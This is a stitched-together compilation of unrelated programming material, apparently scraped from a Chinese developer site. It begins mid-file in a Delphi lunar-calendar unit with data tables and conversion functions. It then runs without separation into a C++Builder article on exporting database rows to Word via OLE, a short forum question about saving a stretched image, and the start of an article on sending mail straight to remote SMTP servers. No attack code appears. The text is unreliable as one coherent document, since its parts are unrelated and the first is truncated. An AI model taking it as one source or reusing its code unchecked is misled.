//数组gLunarDay存入阴历1901年到2100年每年中的月天数信息，
//阴历每月只能是29或30天，一年用12（或13）个二进制位表示，对应位为1表30天，否则为29天
gLunarMonthDay: array[0..149] of Word = (
//测试数据只有1901.1.1 --2050.12.31
$4AE0, $A570, $5268, $D260, $D950, $6AA8, $56A0, $9AD0, $4AE8, $4AE0, //1910
$A4D8, $A4D0, $D250, $D548, $B550, $56A0, $96D0, $95B0, $49B8, $49B0, //1920
$A4B0, $B258, $6A50, $6D40, $ADA8, $2B60, $9570, $4978, $4970, $64B0, //1930
$D4A0, $EA50, $6D48, $5AD0, $2B60, $9370, $92E0, $C968, $C950, $D4A0, //1940
$DA50, $B550, $56A0, $AAD8, $25D0, $92D0, $C958, $A950, $B4A8, $6CA0, //1950
$B550, $55A8, $4DA0, $A5B0, $52B8, $52B0, $A950, $E950, $6AA0, $AD50, //1960
$AB50, $4B60, $A570, $A570, $5260, $E930, $D950, $5AA8, $56A0, $96D0, //1970
$4AE8, $4AD0, $A4D0, $D268, $D250, $D528, $B540, $B6A0, $96D0, $95B0, //1980
$49B0, $A4B8, $A4B0, $B258, $6A50, $6D40, $ADA0, $AB60, $9370, $4978, //1990
$4970, $64B0, $6A50, $EA50, $6B28, $5AC0, $AB60, $9368, $92E0, $C960, //2000
$D4A8, $D4A0, $DA50, $5AA8, $56A0, $AAD8, $25D0, $92D0, $C958, $A950, //2010
$B4A0, $B550, $B550, $55A8, $4BA0, $A5B0, $52B8, $52B0, $A930, $74A8, //2020
$6AA0, $AD50, $4DA8, $4B60, $9570, $A4E0, $D260, $E930, $D530, $5AA0, //2030
$6B50, $96D0, $4AE8, $4AD0, $A4D0, $D258, $D250, $D520, $DAA0, $B5A0, //2040
$56D0, $4AD8, $49B0, $A4B8, $A4B0, $AA50, $B528, $6D20, $ADA0, $55B0); //2050

//数组gLanarMonth存放阴历1901年到2050年闰月的月份，如没有则为0，每字节存两年
gLunarMonth: array[0..74] of Byte = (
$00, $50, $04, $00, $20, //1910
$60, $05, $00, $20, $70, //1920
$05, $00, $40, $02, $06, //1930
$00, $50, $03, $07, $00, //1940
$60, $04, $00, $20, $70, //1950
$05, $00, $30, $80, $06, //1960
$00, $40, $03, $07, $00, //1970
$50, $04, $08, $00, $60, //1980
$04, $0A, $00, $60, $05, //1990
$00, $30, $80, $05, $00, //2000
$40, $02, $07, $00, $50, //2010
$04, $09, $00, $60, $04, //2020
$00, $20, $60, $05, $00, //2030
$30, $B0, $06, $00, $50, //2040
$02, $07, $00, $50, $03); //2050

//数组gLanarHoliDay存放每年的二十四节气对应的阳历日期
//每年的二十四节气对应的阳历日期几乎固定，平均分布于十二个月中
// 1月 2月 3月 4月 5月 6月
//小寒 大寒 立春 雨水 惊蛰 春分 清明 谷雨 立夏 小满 芒种 夏至
// 7月 8月 9月 10月 11月 12月
//小暑 大暑 立秋 处暑 白露 秋分 寒露 霜降 立冬 小雪 大雪 冬至
{*********************************************************************************
节气无任何确定规律,所以只好存表,要节省空间,所以....
**********************************************************************************}
//数据格式说明:
//如1901年的节气为
// 1月 2月 3月 4月 5月 6月 7月 8月 9月 10月 11月 12月
// 6, 21, 4, 19, 6, 21, 5, 21, 6,22, 6,22, 8, 23, 8, 24, 8, 24, 8, 24, 8, 23, 8, 22
// 9, 6, 11,4, 9, 6, 10,6, 9,7, 9,7, 7, 8, 7, 9, 7, 9, 7, 9, 7, 8, 7, 15
//上面第一行数据为每月节气对应日期,15减去每月第一个节气,每月第二个节气减去15得第二行
// 这样每月两个节气对应数据都小于16,每月用一个字节存放,高位存放第一个节气数据,低位存放
//第二个节气的数据,可得下表
gLunarHolDay: array[0..1799] of Byte = (
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1901
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1902
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1903
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //1904
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1905
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1906
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1907
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1908
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1909
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1910
$96, $A5, $87, $96, $87, $87, $79, $69, $69, $69, $78, $78, //1911
$86, $A5, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1912
$95, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1913
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1914
$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1915
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1916
$95, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $87, //1917
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, //1918
$96, $A5, $97, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1919
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1920
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, //1921
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $77, //1922
$96, $A4, $96, $96, $97, $87, $79, $79, $69, $69, $78, $78, //1923
$96, $A5, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1924
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $87, //1925
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1926
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1927
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1928
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1929
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1930
$96, $A4, $96, $96, $97, $87, $79, $79, $79, $69, $78, $78, //1931
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1932
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1933
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1934
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1935
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1936
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1937
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1938
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1939
$96, $A5, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1940
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1941
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1942
$96, $A4, $96, $96, $97, $97, $79, $79, $79, $69, $78, $78, //1943
$96, $A5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, //1944
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1945
$95, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, //1946
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1947
$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1948
$A5, $B4, $96, $A5, $96, $97, $88, $79, $78, $79, $77, $87, //1949
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, //1950
$96, $B4, $96, $A6, $97, $97, $79, $79, $79, $69, $78, $78, //1951
$96, $A5, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1952
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1953
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $68, $78, $87, //1954
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1955
$96, $A5, $A5, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1956
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1957
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1958
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1959
$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1960
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1961
$96, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1962
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1963
$96, $A4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1964
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1965
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1966
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1967
$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1968
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1969
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1970
$96, $B4, $96, $A6, $97, $97, $78, $79, $79, $69, $78, $77, //1971
$96, $A4, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1972
$A5, $B5, $96, $A5, $A6, $96, $88, $78, $78, $78, $87, $87, //1973
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1974
$96, $B4, $96, $A6, $97, $97, $78, $79, $78, $69, $78, $77, //1975
$96, $A4, $A5, $B5, $A6, $A6, $88, $89, $88, $78, $87, $87, //1976
$A5, $B4, $96, $A5, $96, $96, $88, $88, $78, $78, $87, $87, //1977
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //1978
$96, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $77, //1979
$96, $A4, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1980
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $77, $87, //1981
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1982
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, //1983
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //1984
$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1985
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1986
$95, $B4, $96, $A5, $96, $97, $88, $79, $78, $69, $78, $87, //1987
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1988
$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1989
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //1990
$95, $B4, $96, $A5, $86, $97, $88, $78, $78, $69, $78, $87, //1991
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1992
$A5, $B3, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1993
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1994
$95, $B4, $96, $A5, $96, $97, $88, $76, $78, $69, $78, $87, //1995
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1996
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1997
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1998
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1999
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2000
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2001
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2002
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //2003
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2004
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2005
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2006
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //2007
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $87, $78, $87, $86, //2008
$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2009
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2010
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //2011
$96, $B4, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, //2012
$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2013
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2014
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //2015
$95, $B4, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, //2016
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2017
$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2018
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //2019
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $86, //2020
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2021
$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //2022
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //2023
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2024
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2025
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2026
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2027
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2028
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2029
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2030
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2031
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2032
$A5, $C3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $86, //2033
$A5, $B3, $A5, $A5, $A6, $A6, $88, $78, $88, $78, $87, $87, //2034
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2035
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2036
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2037
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2038
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2039
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2040
$A5, $C3, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, //2041
$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2042
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2043
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $88, $87, $96, //2044
$A5, $C3, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, //2045
$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2046
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2047
$95, $B4, $A5, $B4, $A5, $A5, $97, $87, $87, $88, $86, $96, //2048
$A4, $C3, $A5, $A5, $A5, $A6, $97, $87, $87, $78, $87, $86, //2049
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $78, $78, $87, $87); //2050

function WeekDay(iYear, iMonth, iDay: Word): Integer;
begin
Result := DayOfWeek(EncodeDate(iYear, iMonth, iDay));
end;

function WeekNum(const TDT: TDateTime): Word;
var
Y, M, D: Word;
dtTmp: TDateTime;
begin
DecodeDate(TDT, Y, M, D);
dtTmp := EnCodeDate(Y, 1, 1);
Result := (Trunc(TDT - dtTmp) + (DayOfWeek(dtTmp) - 1)) div 7;
if Result = 0 then
Result := 51
else
Result := Result - 1;
end;

function WeekNum(const iYear, iMonth, iDay: Word): Word;
begin
Result := WeekNum(EncodeDate(iYear, iMonth, iDay));
end;

function MonthDays(iYear, iMonth: Word): Word;
begin
case iMonth of
1, 3, 5, 7, 8, 10, 12:
Result := 31;
4, 6, 9, 11:
Result := 30;
2: //如果是闰年
if IsLeapYear(iYear) then
Result := 29
else
Result := 28;
else
Result := 0;
end;
end;

function GetLeapMonth(iLunarYear: Word): Word;
var
Flag: Byte;
begin
Flag := gLunarMonth[(iLunarYear - START_YEAR) div 2];
if (iLunarYear - START_YEAR) mod 2 = 0 then
Result := Flag shr 4
else
Result := Flag and $0F;
end;

function LunarMonthDays(iLunarYear, iLunarMonth: Word): Longword;
var
Height, Low: Word;
iBit: Integer;
begin
if iLunarYear < START_YEAR then
begin
Result := 30;
Exit;
end;
Height := 0;
Low := 29;
iBit := 16 - iLunarMonth;
if (iLunarMonth > GetLeapMonth(iLunarYear)) and (GetLeapMonth(iLunarYear) > 0) then
Dec(iBit);
if (gLunarMonthDay[iLunarYear - START_YEAR] and (1 shl iBit)) > 0 then
Inc(Low);
if iLunarMonth = GetLeapMonth(iLunarYear) then
if (gLunarMonthDay[iLunarYear - START_YEAR] and (1 shl (iBit - 1))) > 0 then
Height := 30
else
Height := 29;
Result := MakeLong(Low, Height);
end;

function LunarYearDays(iLunarYear: Word): Word;
var
Days, i: Word;
tmp: Longword;
begin
Days := 0;
for i := 1 to 12 do
begin
tmp := LunarMonthDays(iLunarYear, i);
Days := Days + HiWord(tmp);
Days := Days + LoWord(tmp);
end;
Result := Days;
end;

procedure FormatLunarYear(iYear: Word; var pBuffer: string);
var
szText1, szText2, szText3: string;
begin
szText1 := '甲乙丙丁戊己庚辛壬癸';
szText2 := '子丑寅卯辰巳午未申酉戌亥';
szText3 := '鼠牛虎免龙蛇马羊猴鸡狗猪';
pBuffer := Copy(szText1, ((iYear - 4) mod 10) * 2 + 1, 2);
pBuffer := pBuffer + Copy(szText2, ((iYear - 4) mod 12) * 2 + 1, 2);
pBuffer := pBuffer + ' ';
pBuffer := pBuffer + Copy(szText3, ((iYear - 4) mod 12) * 2 + 1, 2);
pBuffer := pBuffer + '年';
end;

function FormatLunarYear(iYear: Word): string;
var
pBuffer: string;
begin
FormatLunarYear(iYear, pBuffer);
Result := pBuffer;
end;

procedure FormatMonth(iMonth: Word; var pBuffer: string; bLunar: Boolean);
var
szText: string;
begin
if (not bLunar) and (iMonth = 1) then
begin
pBuffer := ' 一月';
Exit;
end;
szText := '正二三四五六七八九十';
if iMonth <= 10 then
begin
pBuffer := ' ';
pBuffer := pBuffer + Copy(szText, (iMonth - 1) * 2 + 1, 2);
pBuffer := pBuffer + '月';
Exit;
end;
if iMonth = 11 then
pBuffer := '十一'
else
pBuffer := '十二';
pBuffer := pBuffer + '月';
end;

function FormatMonth(iMonth: Word; bLunar: Boolean): string;
var
pBuffer: string;
begin
FormatMonth(iMonth, pBuffer, bLunar);
Result := pBuffer;
end;

procedure FormatLunarDay(iDay: Word; var pBuffer: string);
var
szText1, szText2: string;
begin
szText1 := '初十廿三';
szText2 := '一二三四五六七八九十';
if (iDay <> 20) and (iDay <> 30) then
begin
pBuffer := Copy(szText1, ((iDay - 1) div 10) * 2 + 1, 2);
pBuffer := pBuffer + Copy(szText2, ((iDay - 1) mod 10) * 2 + 1, 2);
end
else
begin
pBuffer := Copy(szText1, (iDay div 10) * 2 + 1, 2);
pBuffer := pBuffer + '十';
end;
end;

function FormatLunarDay(iDay: Word): string;
var
pBuffer: string;
begin
FormatLunarDay(iDay, pBuffer);
Result := pBuffer;
end;

function CalcDateDiff(iEndYear, iEndMonth, iEndDay: Word; iStartYear: Word; iStartMonth: Word; iStartDay: Word): Longword;
begin
Result := Trunc(EncodeDate(iEndYear, iEndMonth, iEndDay) - EncodeDate(iStartYear, iStartMonth, iStartDay));
end;

function CalcDateDiff(EndDate, StartDate: TDateTime): Longword;
begin
Result := Trunc(EndDate - StartDate);
end;

function GetLunarDate(iYear, iMonth, iDay: Word; var iLunarYear, iLunarMonth, iLunarDay: Word): Word;
begin
l_CalcLunarDate(iLunarYear, iLunarMonth, iLunarDay, CalcDateDiff(iYear, iMonth, iDay));
Result := l_GetLunarHolDay(iYear, iMonth, iDay);
end;

procedure GetLunarDate(InDate: TDateTime; var iLunarYear, iLunarMonth, iLunarDay: Word);
begin
l_CalcLunarDate(iLunarYear, iLunarMonth, iLunarDay, CalcDateDiff(InDate, EncodeDate(START_YEAR, 1, 1)));
end;

procedure l_CalcLunarDate(var iYear, iMonth, iDay: Word; iSpanDays: Longword);
var
tmp: Longword;
begin
//阳历1901年2月19日为阴历1901年正月初一
//阳历1901年1月1日到2月19日共有49天
if iSpanDays < 49 then
begin
iYear := START_YEAR - 1;
if iSpanDays < 19 then
begin
iMonth := 11;
iDay := 11 + Word(iSpanDays);
end
else
begin
iMonth := 12;
iDay := Word(iSpanDays) - 18;
end;
Exit;
end;
//下面从阴历1901年正月初一算起
iSpanDays := iSpanDays - 49;
iYear := START_YEAR;
iMonth := 1;
iDay := 1;
//计算年
tmp := LunarYearDays(iYear);
while iSpanDays >= tmp do
begin
iSpanDays := iSpanDays - tmp;
Inc(iYear);
tmp := LunarYearDays(iYear);
end;
//计算月
tmp := LoWord(LunarMonthDays(iYear, iMonth));
while iSpanDays >= tmp do
begin
iSpanDays := iSpanDays - tmp;
if iMonth = GetLeapMonth(iYear) then
begin
tmp := HiWord(LunarMonthDays(iYear, iMonth));
if iSpanDays < tmp then
Break;
iSpanDays := iSpanDays - tmp;
end;
Inc(iMonth);
tmp := LoWord(LunarMonthDays(iYear, iMonth));
end;
//计算日
iDay := iDay + Word(iSpanDays);
end;

function l_GetLunarHolDay(iYear, iMonth, iDay: Word): Word;
var
Flag: Byte;
Day: Word;
begin
Flag := gLunarHolDay[(iYear - START_YEAR) * 12 + iMonth - 1];
if iDay < 15 then
Day := 15 - ((Flag shr 4) and $0F)
else
Day := (Flag and $0F) + 15;
if iDay = Day then
if iDay > 15 then
Result := (iMonth - 1) * 2 + 2
else
Result := (iMonth - 1) * 2 + 1
else
Result := 0;
end;

function GetLunarHolDay(InDate: TDateTime): string;
var
i, iYear, iMonth, iDay: Word;
begin
DecodeDate(InDate, iYear, iMonth, iDay);
i := l_GetLunarHolDay(iYear, iMonth, iDay);
case i of
1: Result := '小寒';
2: Result := '大寒';
3: Result := '立春';
4: Result := '雨水';
5: Result := '惊蛰';
6: Result := '春分';
7: Result := '清明';
8: Result := '谷雨';
9: Result := '立夏';
10: Result := '小满';
11: Result := '芒种';
12: Result := '夏至';
13: Result := '小暑';
14: Result := '大暑';
15: Result := '立秋';
16: Result := '处暑';
17: Result := '白露';
18: Result := '秋分';
19: Result := '寒露';
20: Result := '霜降';
21: Result := '立冬';
22: Result := '小雪';
23: Result := '大雪';
24: Result := '冬至';
else
Result := '';
end;
end;

function GetLunarHolDay(iYear, iMonth, iDay: Word): string;
begin
Result := GetLunarHolDay(EncodeDate(iYear, iMonth, iDay));
end;

function GetConstellation(const DateTime: TDateTime): Integer;
var
Y, M, D: Word;
begin
DecodeDate(DateTime, Y, M, D);
Y := M * 100 + D;
if (Y >= 321) and (Y <= 419) then
Result := 0
else
if (Y >= 420) and (Y <= 520) then
Result := 1
else
if (Y >= 521) and (Y <= 620) then
Result := 2
else
if (Y >= 621) and (Y <= 722) then
Result := 3
else
if (Y >= 723) and (Y <= 822) then
Result := 4
else
if (Y >= 823) and (Y <= 922) then
Result := 5
else
if (Y >= 923) and (Y <= 1022) then
Result := 6
else
if (Y >= 1023) and (Y <= 1121) then
Result := 7
else
if (Y >= 1122) and (Y <= 1221) then
Result := 8
else
if (Y >= 1222) or (Y <= 119) then
Result := 9
else
if (Y >= 120) and (Y <= 218) then
Result := 10
else
if (Y >= 219) and (Y <= 320) then
Result := 11
else
Result := -1;
end;

function GetConstellationName(const Constellation: Integer): string;
begin
case Constellation of
0: Result := '白羊座';
1: Result := '金牛座';
2: Result := '双子座';
3: Result := '巨蟹座';
4: Result := '狮子座';
5: Result := '处女座';
6: Result := '天秤座';
7: Result := '天蝎座';
8: Result := '射手座';
9: Result := '摩羯座';
10: Result := '水瓶座';
11: Result := '双鱼座';
else
Result := '';
end;
end;

function GetConstellationName(const DateTime: TDateTime): string;
begin
Result := GetConstellationName(GetConstellation(DateTime));
end;

end.


CSDN_文档中心_如何把数据库的内容写入到Word文档中？(胡广涛)

    在编程时，由于Microsoft Word的编辑功能非常强大，所以我们经常希望将一些数据保存为WORD文档，以便我们专业编辑。
      在保存为Word文档时，我们可以通过OLE，但经常遇到把真正的Word编辑界面调入到了程序中，以使得程序界面混乱。还有，普通的调用Word的方法都必须指定Word可执行文件的绝对地址，由于很多用户安装Word的路径都不一致，故，我们经常遇到调用错误的问题，能不能有一种方法调用Word不将它显示出来，与版本、安装路径无关呢？答案是肯定的。
      下面，我就来做一个小程序给大家演示一下，只起到一个抛砖引玉的作用。仅供朋友们参考。
    首先，我们建立一个Access2000数据库data.mdb，在库中我们建立一个表userdata，里面有“工号”、“姓名”、“性别”、“部门”四个字段，都是字符型的，再输入一些数据，我们再建立一个窗体Form1，在Form1中，放置以下控件：
控件名称 | 属性 | 值 | 说明
Tlabel1 | Caption | "请输入文件名" |
TEdit1 | Name | "" | 用来输入文件名，带扩展名的
TButton1 | Caption | "保存" |
TButton2 | Caption | "退出" |
ADOTable1 | Active ConnectionString TableName | True Provider=Microsoft.Jet.OLEDB.4.0;Data Source=data.mdb;Persist Security Info=False userdata |

下面是相关代码:
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
---------------------------------------------------------------------------

void __fastcall TForm1::Button1Click(TObject *Sender)
{
Variant OLEObject;
AnsiString dataword;
if(Trim(Edit1->Text)=="")
{
ShowMessage("请输入文件名");
return;
}
String currentPath=GetCurrentDir()+"//"+Trim(Edit1->Text);
OLEObject=CreateOleObject("Word.Basic");
OLEObject.Exec(Procedure("FileNew"));
OLEObject.Exec(Procedure("EndOfDocument"));
ADOTable1->First();
while(ADOTable1->Eof!=True)
{
dataword=ADOTable1->FieldValues["工号"]+ADOTable1->FieldValues["姓名"]+ADOTable1->FieldValues["性别"]+ADOTable1->FieldValues["部门"];
OLEObject.Exec(Procedure("Insert")<<dataword);
ADOTable1->Next();
}
OLEObject.Exec(Procedure("StartOfDocument"));
OLEObject.Exec(Procedure("FileSaveAs")<<currentPath);
OLEObject.Exec(Procedure("FileClose")<<1);
ShowMessage("文件已经写入！谢谢使用！");
}
---------------------------------------------------------------------------

void __fastcall TForm1::Button2Click(TObject *Sender)
{
this->Close();
}
---------------------------------------------------------------------------
void __fastcall TForm1::Edit1Click(TObject *Sender)
{
Edit1->Text="";
}
---------------------------------------------------------------------------
大家如果有什么更好的建议和意见请与我联系。（621150@0451.com）


CSDN_文档中心_如何保存用image 控件放大的图像?

如何保存用image 控件放大的图像?

发信人:jh_y
E-mail:jh_y@263.net
时 间:1999-12-27 9:59:18
阅读次数:13
详细信息:

用image 控件装入一图像,用stretch 属性把图像放大后,如何将放大的图像
存到文件中,直接用savetofile 存的还是原来的图像.

--------------------------------------------------------------------------------
相关信息:

29954 如何保存用image 控件放大的图像? jh_y 12/27 9:59
29955 建议用imageedit.ocx(空) 小蒙 12/27 10:05
29961 自己建一个TBitmap,用StretchDraw不就可以了.(空)


CSDN_文档中心_如何编写SMTP邮件服务器

如何编写SMTP邮件服务器
    许多时候，我想不通为什么不能直接将信件送到对方(POP或IMAP)服务器上，为什么非要通过一个莫名其妙的SMTP邮件服务器转交一次，实在不服气，如果使用UNIX，这个问题就很好解决，用sendmail就能完成递送任务，但在Windows下呢？同样的，一定也有办法饶开SMTP Server直接递送到对方的远程邮局服务器上，难得住别人，难得住我们程序员吗？分析相关协议（RFC2645,RFC821, RFC1846,RFC1939,RFC1725,RFC1730-RFC1733 etc.），我们会知道要完成直接递送其实相当简单。
首先我们看一下Email的递送过程：Email(Encode) -> a SMTP Relay Server -> Remote SMTP Server(远程邮局)。非常简单，邮件编码后被递送到一个SMTP转交服务器上，该服务器对信件分检（到同一邮局的被放在一起）后，根据优先级以及信件的先后次序被发送到远程邮局的SMTP服务器上。换句话说，只要我们知道了SMTP转交服务器是如何确定远程邮局SMTP服务器的地址的，就可以轻松地将饶开SMTP Relay Server直接递送到远程邮局服务器。
